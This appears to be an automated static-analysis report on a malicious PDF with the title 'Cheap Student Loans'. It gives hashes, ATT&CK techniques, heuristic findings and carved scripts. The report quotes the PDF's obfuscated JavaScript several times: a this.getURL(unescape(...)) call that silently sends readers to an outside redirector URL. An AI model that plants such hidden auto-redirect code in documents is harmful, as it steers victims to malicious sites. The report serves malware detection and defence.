Malicious PDF — malware analysis report

Static analysis result for SHA-256 87c64f095e209065…

MALICIOUS

PDF

39.5 KB Created: 2011-02-12 14:51:57 +02:00 Authoring application: Cheap Student Loans (via mPDF 5.0) First seen: 2021-07-13
MD5: 00e3353ff0df7fa7a69159786ee09b25 SHA-1: cab602fd65efee4ef7c2d592eb472bc0241ace3e SHA-256: 87c64f095e209065ab52765b76f27f8a566478ecf81da35c9482cee4ba10a366
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The PDF contains obfuscated JavaScript that utilizes the unescape function to decode a URL. This URL, 'http://searchglobalsite.com/in.cgi?11', is then used in a getURL call, indicating an attempt to redirect the user to a malicious site. This behavior is characteristic of a downloader or exploit delivery mechanism.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9991

Heuristics 6

  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /S /JavaScript
    /JS (this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%31')))
    >>
  • Obfuscated document JavaScript getURL redirector high PDF_JS_OBFUSCATED_GETURL_REDIRECTOR
    PDF document-level JavaScript automatically calls getURL() on an HTTP(S) destination hidden behind percent escapes. The decoded path is a redirector-style endpoint such as /in.cgi or /go.php. This is malicious routing behavior rather than a PDF parser CVE.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://searchglobalsite.com/in.cgi?11 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0029_000.js pdf-javascript-stream PDF /JS object 29 at offset 0x96C5 136 bytes
SHA-256: 357d06d70777f397a54fd04180a5ee36f36a8ec5c7cbbafdfab41f20901b25ac
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%31'))
javascript_obj0029_001.js pdf-javascript-stream PDF /JS object 29 at offset 0x96C5 134 bytes
SHA-256: 607a0753f2d28ea7a383d2e729ee9a1eeb69db22eafb74fa3e1d444ae047c123
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
this.getURL(unescape('%68%74%74%70%3a%2f%2f%73%65%61%72%63%68%67%6c%6f%62%61%6c%73%69%74%65%2e%63%6f%6d%2f%69%6e%2e%63%67%69%3f%31%31'